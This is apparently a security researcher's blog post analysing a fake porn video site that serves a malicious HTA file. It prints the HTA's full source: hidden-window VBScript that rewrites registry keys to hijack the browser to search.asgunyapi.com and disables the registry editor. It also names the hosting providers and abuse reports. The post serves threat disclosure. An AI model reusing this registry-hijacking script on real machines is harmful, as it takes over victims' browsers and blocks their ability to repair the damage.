RapidSwitch, fake movies and a browser hijack

Whilst investigating a site earlier, I stumbled upon a site claiming to be a vanilla porn site. Not surprisingly, it turned out to be slightly more than that.

This site offers its victims the usual player you're used to seeing on the likes of YouTube - with a major difference. Instead of the fake codec, or actual video, an HTA is downloaded and executed, that contains;

<html><head>
<hta:application id=hta_note_id
applicationName=hta_note_name
showInTaskBar=no
caption=no
innerBorder=no
selection=no
scroll=no
contextmenu=no />
<script language=javascript>
window.resizeTo(0, 0);
window.moveTo(0, 0);
</script>
<SCRIPT language=vbs>
self.MoveTo 0, 0
Set shell = CreateObject("WScript.Shell")
shell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes\\mirc","http://search.asgunyapi.com","REG_SZ"
shell.regwrite "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"

shell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\\DisableRegistryTools","00000001","REG_DWORD"
self.Close
</SCRIPT>

<script language="JavaScript">

window.open(url,name,windowProperties);
}

You'll have noticed the hijacks to search.asgunyapi.com. This chap is hosted by HostGator (already fired off an abuse report), and should hopefully be down soon;

The best part however, is the delivery site itself - this little chap is hosted by the infamously crimeware friendly, RapidSwitch. RapidSwitch is an ISP with a history of housing everything from warez to phishing to malware. Incidentally, I recently fired off an abuse report to RapidSwitch, and was rather surprised to find they'd finally gone ahead with their promise of blocking me from e-mailing them (better late than never I suppose, they said they were doing so 2 years ago - but little hint RapidSwitch - it's not the best way of convincing someone to unblacklist you).

One of the many sites leading to these fake movie sites is turkpornoizle.tk, which should be down shortly.
